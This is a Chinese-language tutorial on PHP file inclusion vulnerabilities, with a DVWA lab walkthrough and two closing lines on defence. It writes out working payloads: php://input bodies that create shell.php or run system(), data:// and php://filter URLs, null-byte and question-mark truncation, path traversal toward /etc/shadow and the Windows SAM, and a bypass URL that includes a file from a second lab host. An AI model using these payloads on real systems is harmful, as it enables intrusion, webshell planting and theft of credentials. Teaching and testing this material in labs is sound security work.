一、文件包含漏洞概述
1、漏洞介绍
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。
动态包含
在使用文件包含的时候,为了更灵活的包含文件,将文件包含的名字处设置为变量,而这个变量是通过GET方式来获取的值,这样既可通过前端所输入的文件名进行包含对应的文件。
2、漏洞产生原因
程序没有对文件的来源进行严格的审查,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码,也就是程序员在编写代码的时候触犯的逻辑性的错误,就可能会导致文件读取漏洞和其它类型的漏洞
PHP中文件包含函数有以下四种:
require() # require()与include()的区别在于require()执行如果发生错误,函数会输出 错误信息,并终止脚本的运行。
require_once() # 功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
include() # 当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含 进来,发生错误时之给出一个警告,继续向下执行。
include_once() # 功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
包含函数
PHP常见的导致文件包含的函数如下:include(),include_once(),require(),require_once(),fopen(),readfile() 当使用前4个函数包含一个新的文件时,只要文件内容符合PHP语法规范,那么任何扩展名都可以被PHP解析。包含非PHP语法规范源文件时,将会暴露其源代码。
3、漏洞分类及其区别
远程包含与本地包含
远程文件包含,需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器的文件。
本地文件包含的含义就是包含本地服务器的文件
远程与本地包含的区别
本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行。
远程文件包含就是允许公鸡者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务公鸡,甚至在目标服务器上执行代码。
本地文件包含与远程文件有着相同的原理,但前者只能包含服务器上存在的文件,而后者可以包含远程服务器上的文件。
4、文件包含漏洞危害
1、读取web配置文件以及敏感的数据
2、web服务器的文件被外界浏览导致信息泄露;
3、与文件上传漏洞组合getshell,将恶意代码执行解析
一般来说,远程文件包含漏洞危害更大
二、文件包含漏洞利用
参考PHP伪协议总结:
1、伪协议利用
file:// http:// php://
仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是公鸡者所能够控制的,因此该情况下,公鸡着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
1、php://input
说明:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
条件:
php <5.0 ,allow_url_include=Off 情况下也可以用
php > 5.0,只有在allow_url_fopen=On 时才能使用
例1 :增加一句话:
背景:结果将在file.php所在文件下的文件shell.php内增加"<?php phpinfo();?>"一句话。
URL:
http://localhost/include/file.php?file=php://input
POST:
<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>
例2:增加文件
背景:通过fopen参数为w,可新建一个文件,并在新建的文件shell.php中写入<?php phpinfo();?>
URL:
http://localhost/include/file.php?file=php://input
POST:
<?php fputs(fopen("shell.php","w"),"<?php phpinfo();?>") ?>
例3:执行系统命令
背景:通过php的系统执行函数,将执行命令写入到文件中,并且执行系统命令
URL:
http://localhost/include/file.php?file=php://input
POST:
<?php system('ipconfig');?>
2、data://
说明:
这是一种数据流封装器,data:URI schema(URL schema可以是很多形式)
利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中
条件:
allow_url_include=On php > 5.2
例1:文字命令
背景:使用了 base64加密的内容
Payload:
http://localhost/file.php?file=data:text/plain,<?php system(whoami)?> http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==
例2 图片命令:
背景:后面加上图片木ma
Payload:
http://localhost/image.php?imagedata=data://image/jpeg;base64,.....
data://手册: PHP: data:// - Manual
3、php://filter
:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过来:
Payload:
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword
(绝对路径)
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=../../oneword
(相对路径)
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/
2.文件包含漏洞绕过
00字符截断(PHP<5.3.4)
PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(x00)将作为字符串的结束符。所以在这个地方,公鸡者只要在最后加入一个0字节,就能截断file变量之后的字符串。
../etc/passwd
1.
通过web输入时,只需UrlEncode,变成:
../etc/passwd%00
字符串截断的技巧,也是文件包含中最常用的技巧
超长字符截断
采用00字符过滤并没有完全解决问题,
利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。
IBM Developer 正在整合其语言站点组合。 – IBM Developer
我们知道目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。
而利用"./"的方式即可构造出超长目录字符串:
除了incldue()等4个函数之外,PHP中能够对文件进行操作的函数都有可能出现漏洞。虽然大多数情况下不能执行PHP代码,但能够读取敏感文件带来的后果也是比较严重的。例如: fopen()、fread()
任意目录遍历
除了这种公鸡方式,还可以使用"../../../"这样的方式来返回到上层目录中,这种方式又被称为"目录遍历(Path Traversal)"。常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF)
防御方法:
目录遍历漏洞是一种跨越目录读取文件的方法,但当PHP配置了open_basedir时,将很好地保护服务器,使得这种公鸡无效。
open_basedir的作用是限制在某个特定目录下PHP能打开的文件(有点像chroot的感觉)
比如在没有设置open_basedir时,文件包含漏洞可以访问任意文件。
当设置了open_basedir时,则包含文件失败。
问号截断
如果路径的后半段都定死了,但是结合HTTP传参的原理可以绕过去
公鸡者可以构造类似如下的公鸡URL:
http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?
产生的原理:
/?path=http://localhost/test/solution.php?
最终目标应用程序代码实际上执行了:
require_once "http://localhost/test/solution.php?/action/m_share.php";
(注意,这里很巧妙,问号"?"后面的代码被解释成URL的querystring,这也是一种"截断"思想,和%00一样)
公鸡者可以在http://localhost/test/solution.php上模拟出相应的路径,从而使之吻合
三、常见的敏感信息路径
Windows系统
c:\boot.ini // 查看系统版本 c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件 c:\windows\repair\sam // 存储Windows系统初次安装的密码 c:\ProgramFiles\mysql\my.ini // MySQL配置 c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码 c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息 /etc/shadow // 账户密码文件 /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置 /usr/local/app/php5/lib/php.ini // PHP相关配置 /etc/httpd/conf/httpd.conf // Apache配置文件 /etc/my.conf // mysql 配置文件
四、靶机实战
低安全级别
选择低安全级别
访问文件包含页面
分析文件包含后台代码
本地文件包含
访问本地系统账号信息
访问本地其他敏感信息
根据代码分析,因为没有对被包含的文件做任何限制,所以只要本地的文件,能被web账号读取的,都可以读出来
访问本地其他敏感信息
远程文件包含
包含远程执行函数
远程服务器编写文件
肉鸡端包含远程文件
包含远程webshell
远程服务器编写文件
肉鸡端包含远程文件
中安全级别
访问文件包含页面
分析文件包含代码
文件包含漏洞利用
本地文件包含不影响
远程文件包含
172.16.70.214/dvwa/vulnerabilities/fi/?page=hthttp://tp://172.16.70.216/info.txt
高安全级别
选择高安全级别
访问文件包含页面
分析文件包含代码
文件包含漏洞利用
五、防御
少用包含代码,并且关闭包含选项
需要进行文件包含时,涉及的路径和名称硬编码写死!